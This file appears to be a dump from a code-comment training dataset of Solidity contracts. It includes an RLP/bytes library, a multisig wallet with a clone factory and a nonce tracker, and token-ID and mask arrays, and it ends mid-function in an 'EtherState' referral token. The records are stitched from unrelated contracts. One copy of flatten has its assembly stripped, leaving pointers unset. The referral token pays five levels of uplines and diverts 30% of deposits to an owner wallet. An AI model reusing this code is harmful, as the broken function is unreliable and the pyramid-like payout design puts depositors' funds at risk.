{ let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /** * @dev Flattens a list of byte strings into one byte string. * @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol. * @param _list List of byte strings to flatten. * @return The flattened byte string. */ function flatten(bytes[] memory _list) private pure returns (bytes memory) { if (_list.length == 0) { return new bytes(0); } uint len; uint i; for (i = 0; i < _list.length; i++) { len += _list[i].length; } bytes memory flattened = new bytes(len); uint flattenedPtr; assembly { flattenedPtr := add(flattened, 0x20) } for(i = 0; i < _list.length; i++) { bytes memory item = _list[i]; uint listPtr; assembly { listPtr := add(item, 0x20)} memcpy(flattenedPtr, listPtr, item.length); flattenedPtr += _list[i].length; } return flattened; } /** * @dev Concatenates two bytes. * @notice From: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol. * @param _preBytes First byte string. * @param _postBytes Second byte string. * @return Both byte string combined. */ function concat(bytes memory _preBytes, bytes memory _postBytes) private pure returns (bytes memory) { bytes memory tempBytes; assembly { tempBytes := mload(0x40) let length := mload(_preBytes) mstore(tempBytes, length) let mc := add(tempBytes, 0x20) let end := add(mc, length) for { let cc := add(_preBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) mc := end end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) )) } return tempBytes; } } /** * SPDX-License-Identifier: MIT */ pragma solidity ^0.8.0; import "./MultiSigWallet.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; contract MultiSigCloneFactory { address public multiSigImplementation; event ContractCreated(address contractAddress, string typeName); constructor(address _multSigImplementation) { multiSigImplementation = _multSigImplementation; } /*function create(address owner) public returns (address) { address payable instance = payable(Clones.clone(multiSigImplementation)); MultiSigWallet(instance).initialize(owner); emit ContractCreated(instance, "MultiSigWallet"); return instance; }*/ function predict(bytes32 salt) external view returns (address) { return Clones.predictDeterministicAddress(multiSigImplementation, salt); } function create(address owner, bytes32 salt) external returns (address) { address payable instance = payable(Clones.cloneDeterministic(multiSigImplementation, salt)); MultiSigWallet(instance).initialize(owner); emit ContractCreated(instance, "MultiSigWallet"); return instance; } } /** * SPDX-License-Identifier: MIT */ pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/proxy/utils/Initializable.sol"; import "../libraries/RLPEncode.sol"; import "../utils/Nonce.sol"; contract MultiSigWallet is Nonce, Initializable { mapping (address => uint8) public signers; // The addresses that can co-sign transactions and the number of signatures needed uint16 public signerCount; bytes public contractId; // most likely unique id of this contract event SignerChange( address indexed signer, uint8 cosignaturesNeeded ); event Transacted( address indexed toAddress, // The address the transaction was sent to bytes4 selector, // selected operation address[] signers // Addresses of the signers used to initiate the transaction ); constructor () { } function initialize(address owner) external initializer { // We use the gas price to get a unique id into our transactions. // Note that 32 bits do not guarantee that no one can generate a contract with the // same id, but it practically rules out that someone accidentally creates two // two multisig contracts with the same id, and that's all we need to prevent // replay-attacks. contractId = toBytes(uint32(uint160(address(this)))); _setSigner(owner, 1); // set initial owner } /** * It should be possible to store ether on this address. */ receive() external payable { } /** * Checks if the provided signatures suffice to sign the transaction and if the nonce is correct. */ function checkSignatures(uint128 nonce, address to, uint value, bytes calldata data, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) external view returns (address[] memory) { bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data); return verifySignatures(transactionHash, v, r, s); } /** * Checks if the execution of a transaction would succeed if it was properly signed. */ function checkExecution(address to, uint value, bytes calldata data) external { Address.functionCallWithValue(to, data, value); require(false, "Test passed. Reverting."); } function execute(uint128 nonce, address to, uint value, bytes calldata data, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) external returns (bytes memory) { bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data); address[] memory found = verifySignatures(transactionHash, v, r, s); bytes memory returndata = Address.functionCallWithValue(to, data, value); flagUsed(nonce); emit Transacted(to, extractSelector(data), found); return returndata; } function extractSelector(bytes calldata data) private pure returns (bytes4){ if (data.length < 4){ return bytes4(0); } else { return bytes4(data[0]) | (bytes4(data[1]) >> 8) | (bytes4(data[2]) >> 16) | (bytes4(data[3]) >> 24); } } function toBytes(uint number) internal pure returns (bytes memory){ uint len = 0; uint temp = 1; while (number >= temp){ temp = temp << 8; len++; } temp = number; bytes memory data = new bytes(len); for (uint i = len; i>0; i--) { data[i-1] = bytes1(uint8(temp)); temp = temp >> 8; } return data; } // Note: does not work with contract creation function calculateTransactionHash(uint128 sequence, bytes memory id, address to, uint value, bytes calldata data) internal view returns (bytes32){ bytes[] memory all = new bytes[](9); all[0] = toBytes(sequence); // sequence number instead of nonce all[1] = id; // contract id instead of gas price all[2] = toBytes(21000); // gas limit all[3] = abi.encodePacked(to); all[4] = toBytes(value); all[5] = data; all[6] = toBytes(block.chainid); all[7] = toBytes(0); for (uint i = 0; i<8; i++){ all[i] = RLPEncode.encodeBytes(all[i]); } all[8] = all[7]; return keccak256(RLPEncode.encodeList(all)); } function verifySignatures(bytes32 transactionHash, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) public view returns (address[] memory) { address[] memory found = new address[](r.length); for (uint i = 0; i < r.length; i++) { address signer = ecrecover(transactionHash, v[i], r[i], s[i]); uint8 cosignaturesNeeded = signers[signer]; require(cosignaturesNeeded > 0 && cosignaturesNeeded <= r.length, "cosigner error"); found[i] = signer; } requireNoDuplicates(found); return found; } function requireNoDuplicates(address[] memory found) private pure { for (uint i = 0; i < found.length; i++) { for (uint j = i+1; j < found.length; j++) { require(found[i] != found[j], "duplicate signature"); } } } /** * Call this method through execute */ function setSigner(address signer, uint8 cosignaturesNeeded) external authorized { _setSigner(signer, cosignaturesNeeded); require(signerCount > 0); } function migrate(address destination) external { _migrate(msg.sender, destination); } function migrate(address source, address destination) external authorized { _migrate(source, destination); } function _migrate(address source, address destination) private { require(signers[destination] == 0); // do not overwrite existing signer! _setSigner(destination, signers[source]); _setSigner(source, 0); } function _setSigner(address signer, uint8 cosignaturesNeeded) private { require(!Address.isContract(signer), "signer cannot be a contract"); uint8 prevValue = signers[signer]; signers[signer] = cosignaturesNeeded; if (prevValue > 0 && cosignaturesNeeded == 0){ signerCount--; } else if (prevValue == 0 && cosignaturesNeeded > 0){ signerCount++; } emit SignerChange(signer, cosignaturesNeeded); } modifier authorized() { require(address(this) == msg.sender || signers[msg.sender] == 1, "not authorized"); _; } } /** * SPDX-License-Identifier: LicenseRef-Aktionariat * * MIT License with Automated License Fee Payments * * Copyright (c) 2020 Aktionariat AG (aktionariat.com) * * Permission is hereby granted to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software * without restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies of the * Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * - The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * - All automated license fee payments integrated into this and related Software * are preserved. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity ^0.8.0; contract Nonce { uint256 public constant MAX_INCREASE = 100; uint256 private compound; constructor(){ setBoth(128, 0); } /** * The next recommended nonce, which is the highest nonce ever used plus one. */ function nextNonce() external view returns (uint256){ return getMax() + 1; } /** * Returns whether the provided nonce can be used. * For the 100 nonces in the interval [nextNonce(), nextNonce + 99], this is always true. * For the nonces in the interval [nextNonce() - 129, nextNonce() - 1], this is true for the nonces that have not been used yet. */ function isFree(uint128 nonce) external view returns (bool){ uint128 max = getMax(); return isValidHighNonce(max, nonce) || isValidLowNonce(max, getRegister(), nonce); } /** * Flags the given nonce as used. * Reverts if the provided nonce is not free. */ function flagUsed(uint128 nonce) internal { uint256 comp = compound; uint128 max = uint128(comp); uint128 reg = uint128(comp >> 128); if (isValidHighNonce(max, nonce)){ setBoth(nonce, ((reg << 1) | 0x1) << (nonce - max - 1)); } else if (isValidLowNonce(max, reg, nonce)){ setBoth(max, uint128(reg | 0x1 << (max - nonce - 1))); } else { require(false); } } function getMax() private view returns (uint128) { return uint128(compound); } function getRegister() private view returns (uint128) { return uint128(compound >> 128); } function setBoth(uint128 max, uint128 reg) private { compound = uint256(reg) << 128 | max; } function isValidHighNonce(uint128 max, uint128 nonce) private pure returns (bool){ return nonce > max && nonce <= max + MAX_INCREASE; } function isValidLowNonce(uint128 max, uint128 reg, uint256 nonce) private pure returns (bool){ uint256 diff = max - nonce; return diff > 0 && diff <= 128 && ((0x1 << (diff - 1)) & reg == 0); } }
* @dev Flattens a list of byte strings into one byte string. @param _list List of byte strings to flatten. @return The flattened byte string./
function flatten(bytes[] memory _list) private pure returns (bytes memory) { if (_list.length == 0) { return new bytes(0); } uint len; uint i; for (i = 0; i < _list.length; i++) { len += _list[i].length; } bytes memory flattened = new bytes(len); uint flattenedPtr; for(i = 0; i < _list.length; i++) { bytes memory item = _list[i]; uint listPtr; memcpy(flattenedPtr, listPtr, item.length); flattenedPtr += _list[i].length; } return flattened; }
383,622
[ 1, 2340, 4558, 773, 279, 666, 434, 1160, 2064, 1368, 1245, 1160, 533, 18, 225, 389, 1098, 987, 434, 1160, 2064, 358, 5341, 18, 327, 1021, 14171, 1160, 533, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5341, 12, 3890, 8526, 3778, 389, 1098, 13, 3238, 16618, 1135, 261, 3890, 3778, 13, 288, 203, 3639, 309, 261, 67, 1098, 18, 2469, 422, 374, 13, 288, 203, 5411, 327, 394, 1731, 12, 20, 1769, 203, 3639, 289, 203, 203, 3639, 2254, 562, 31, 203, 3639, 2254, 277, 31, 203, 3639, 364, 261, 77, 273, 374, 31, 277, 411, 389, 1098, 18, 2469, 31, 277, 27245, 288, 203, 5411, 562, 1011, 389, 1098, 63, 77, 8009, 2469, 31, 203, 3639, 289, 203, 203, 3639, 1731, 3778, 14171, 273, 394, 1731, 12, 1897, 1769, 203, 3639, 2254, 14171, 5263, 31, 203, 203, 3639, 364, 12, 77, 273, 374, 31, 277, 411, 389, 1098, 18, 2469, 31, 277, 27245, 288, 203, 5411, 1731, 3778, 761, 273, 389, 1098, 63, 77, 15533, 203, 2398, 203, 5411, 2254, 666, 5263, 31, 203, 203, 5411, 1663, 71, 2074, 12, 16940, 329, 5263, 16, 666, 5263, 16, 761, 18, 2469, 1769, 203, 5411, 14171, 5263, 1011, 389, 1098, 63, 77, 8009, 2469, 31, 203, 3639, 289, 203, 203, 3639, 327, 14171, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x56d28b1f6700b07a85c74122ae23ef58dEBe704e/sources/contracts/protocol/libraries/configuration/UserConfiguration.sol
* @dev Used to validate if a user has been using the reserve for borrowing or as collateral @param self The configuration object @param reserveIndex The index of the reserve in the bitmap @return True if the user has been using a reserve for borrowing or as collateral, false otherwise/
function isUsingAsCollateralOrBorrowing( DataTypes.UserConfigurationMap memory self, uint256 reserveIndex ) internal pure returns (bool) { require(reserveIndex < _maxReserves, Errors.UL_INVALID_INDEX); uint256 index = reserveIndex / 128; reserveIndex = reserveIndex % 128; return (self.data[index] >> (reserveIndex * 2)) & 3 != 0; }
9,432,676
[ 1, 6668, 358, 1954, 309, 279, 729, 711, 2118, 1450, 326, 20501, 364, 29759, 310, 578, 487, 4508, 2045, 287, 225, 365, 1021, 1664, 733, 225, 20501, 1016, 1021, 770, 434, 326, 20501, 316, 326, 9389, 327, 1053, 309, 326, 729, 711, 2118, 1450, 279, 20501, 364, 29759, 310, 578, 487, 4508, 2045, 287, 16, 629, 3541, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 353, 7736, 1463, 13535, 2045, 287, 1162, 38, 15318, 310, 12, 203, 565, 1910, 2016, 18, 1299, 1750, 863, 3778, 365, 16, 203, 565, 2254, 5034, 20501, 1016, 203, 225, 262, 2713, 16618, 1135, 261, 6430, 13, 288, 203, 565, 2583, 12, 455, 6527, 1016, 411, 389, 1896, 607, 264, 3324, 16, 9372, 18, 1506, 67, 9347, 67, 9199, 1769, 203, 565, 2254, 5034, 770, 273, 20501, 1016, 342, 8038, 31, 203, 565, 20501, 1016, 273, 20501, 1016, 738, 8038, 31, 203, 565, 327, 261, 2890, 18, 892, 63, 1615, 65, 1671, 261, 455, 6527, 1016, 380, 576, 3719, 473, 890, 480, 374, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x669852D9020A1397564DF15533A832314d377318/sources/GoVitalik.sol
transfer amount to address
function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); }
15,941,833
[ 1, 13866, 3844, 358, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 774, 1887, 1584, 44, 12, 2867, 8843, 429, 8027, 16, 2254, 5034, 3844, 13, 203, 3639, 3238, 203, 565, 288, 203, 3639, 8027, 18, 13866, 12, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); } contract ReferTokenERC20Basic is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) rewardBalances; mapping(address => mapping(address => uint256)) allow; function _transfer(address _from, address _to, uint256 _value) private returns (bool) { require(_to != address(0)); require(_value <= rewardBalances[_from]); // SafeMath.sub will throw an error if there is not enough balance. rewardBalances[_from] = rewardBalances[_from].sub(_value); rewardBalances[_to] = rewardBalances[_to].add(_value); Transfer(_from, _to, _value); return true; } function transfer(address _to, uint256 _value) public returns (bool) { return _transfer(msg.sender, _to, _value); } function balanceOf(address _owner) public view returns (uint256 balance) { return rewardBalances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_from != msg.sender); require(allow[_from][msg.sender] > _value || allow[msg.sender][_to] == _value); success = _transfer(_from, _to, _value); if (success) { allow[_from][msg.sender] = allow[_from][msg.sender].sub(_value); } return success; } function approve(address _spender, uint256 _value) public returns (bool success) { allow[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allow[_owner][_spender]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract PackageContract is ReferTokenERC20Basic, MintableToken { uint constant daysPerMonth = 30; mapping(uint => mapping(string => uint256)) internal packageType; struct Package { uint256 since; uint256 tokenValue; uint256 kindOf; } mapping(address => Package) internal userPackages; function PackageContract() public { packageType[2]['fee'] = 30; packageType[2]['reward'] = 20; packageType[4]['fee'] = 35; packageType[4]['reward'] = 25; } function depositMint(address _to, uint256 _amount, uint _kindOfPackage) canMint internal returns (bool) { return depositMintSince(_to, _amount, _kindOfPackage, now); } function depositMintSince(address _to, uint256 _amount, uint _kindOfPackage, uint since) canMint internal returns (bool) { totalSupply = totalSupply.add(_amount); Package memory pac; pac = Package({since : since, tokenValue : _amount, kindOf : _kindOfPackage}); Mint(_to, _amount); Transfer(address(0), _to, _amount); userPackages[_to] = pac; return true; } function depositBalanceOf(address _owner) public view returns (uint256 balance) { return userPackages[_owner].tokenValue; } function getKindOfPackage(address _owner) public view returns (uint256) { return userPackages[_owner].kindOf; } } contract ColdWalletToken is PackageContract { address internal coldWalletAddress; uint internal percentageCW = 30; event CWStorageTransferred(address indexed previousCWAddress, address indexed newCWAddress); event CWPercentageChanged(uint previousPCW, uint newPCW); function setColdWalletAddress(address _newCWAddress) onlyOwner public { require(_newCWAddress != coldWalletAddress && _newCWAddress != address(0)); CWStorageTransferred(coldWalletAddress, _newCWAddress); coldWalletAddress = _newCWAddress; } function getColdWalletAddress() onlyOwner public view returns (address) { return coldWalletAddress; } function setPercentageCW(uint _newPCW) onlyOwner public { require(_newPCW != percentageCW && _newPCW < 100); CWPercentageChanged(percentageCW, _newPCW); percentageCW = _newPCW; } function getPercentageCW() onlyOwner public view returns (uint) { return percentageCW; } function saveToCW() onlyOwner public { coldWalletAddress.transfer(this.balance.mul(percentageCW).div(100)); } } contract StatusContract is Ownable { mapping(uint => mapping(string => uint[])) internal statusRewardsMap; mapping(address => uint) internal statuses; event StatusChanged(address participant, uint newStatus); function StatusContract() public { statusRewardsMap[1]['deposit'] = [3, 2, 1]; statusRewardsMap[1]['refReward'] = [3, 1, 1]; statusRewardsMap[2]['deposit'] = [7, 3, 1]; statusRewardsMap[2]['refReward'] = [5, 3, 1]; statusRewardsMap[3]['deposit'] = [10, 3, 1, 1, 1]; statusRewardsMap[3]['refReward'] = [7, 3, 3, 1, 1]; statusRewardsMap[4]['deposit'] = [10, 5, 3, 3, 1]; statusRewardsMap[4]['refReward'] = [10, 5, 3, 3, 3]; statusRewardsMap[5]['deposit'] = [12, 5, 3, 3, 3]; statusRewardsMap[5]['refReward'] = [10, 7, 5, 3, 3]; } function getStatusOf(address participant) public view returns (uint) { return statuses[participant]; } function setStatus(address participant, uint8 status) public onlyOwner returns (bool) { return setStatusInternal(participant, status); } function setStatusInternal(address participant, uint8 status) internal returns (bool) { require(statuses[participant] != status && status > 0 && status <= 5); statuses[participant] = status; StatusChanged(participant, status); return true; } } contract ReferTreeContract is Ownable { mapping(address => address) public referTree; event TreeStructChanged(address sender, address parentSender); function checkTreeStructure(address sender, address parentSender) onlyOwner public { setTreeStructure(sender, parentSender); } function setTreeStructure(address sender, address parentSender) internal { require(referTree[sender] == 0x0); require(sender != parentSender); referTree[sender] = parentSender; TreeStructChanged(sender, parentSender); } } contract ReferToken is ColdWalletToken, StatusContract, ReferTreeContract { string public constant name = "EtherState"; string public constant symbol = "ETHS"; uint256 public constant decimals = 18; uint256 public totalSupply = 0; uint256 public constant hardCap = 10000000 * 1 ether; mapping(address => uint256) private lastPayoutAddress; uint private rate = 100; uint public constant depth = 5; event RateChanged(uint previousRate, uint newRate); event DataReceived(bytes data); event RefererAddressReceived(address referer); function depositMintAndPay(address _to, uint256 _amount, uint _kindOfPackage) canMint private returns (bool) { require(userPackages[_to].since == 0); _amount = _amount.mul(rate); if (depositMint(_to, _amount, _kindOfPackage)) { payToReferer(_to, _amount, 'deposit'); lastPayoutAddress[_to] = now; } } function rewardMint(address _to, uint256 _amount) private returns (bool) { rewardBalances[_to] = rewardBalances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function payToReferer(address sender, uint256 _amount, string _key) private { address currentReferral = sender; uint currentStatus = 0; uint256 refValue = 0; for (uint level = 0; level < depth; ++level) { currentReferral = referTree[currentReferral]; if (currentReferral == 0x0) { break; } currentStatus = statuses[currentReferral]; if (currentStatus < 3 && level >= 3) { continue; } refValue = _amount.mul(statusRewardsMap[currentStatus][_key][level]).div(100); rewardMint(currentReferral, refValue); } } function AddressDailyReward(address rewarded) public { require(lastPayoutAddress[rewarded] != 0 && (now - lastPayoutAddress[rewarded]).div(1 days) > 0); uint256 n = (now - lastPayoutAddress[rewarded]).div(1 days); uint256 refValue = 0; if (userPackages[rewarded].kindOf != 0) { refValue = userPackages[rewarded].tokenValue.mul(n).mul(packageType[userPackages[rewarded].kindOf]['reward']).div(30).div(100); rewardMint(rewarded, refValue); payToReferer(rewarded, userPackages[rewarded].tokenValue, 'refReward'); } if (n > 0) { lastPayoutAddress[rewarded] = now; } } function() external payable { require(totalSupply < hardCap); coldWalletAddress.transfer(msg.value.mul(percentageCW).div(100)); bytes memory data = bytes(msg.data); DataReceived(data); address referer = getRefererAddress(data); RefererAddressReceived(referer); setTreeStructure(msg.sender, referer); setStatusInternal(msg.sender, 1); uint8 kind = getReferralPackageKind(data); depositMintAndPay(msg.sender, msg.value, kind); } function getRefererAddress(bytes data) private pure returns (address) { if (data.length == 1 || data.length == 0) { return address(0); } uint256 referer_address; uint256 factor = 1; for (uint i = 20; i > 0; i--) { referer_address += uint8(data[i - 1]) * factor; factor = factor * 256; } return address(referer_address); } function getReferralPackageKind(bytes data) private pure returns (uint8) { if (data.length == 0) { return 4; } if (data.length == 1) { return uint8(data[0]); } return uint8(data[20]); } function withdraw() public { 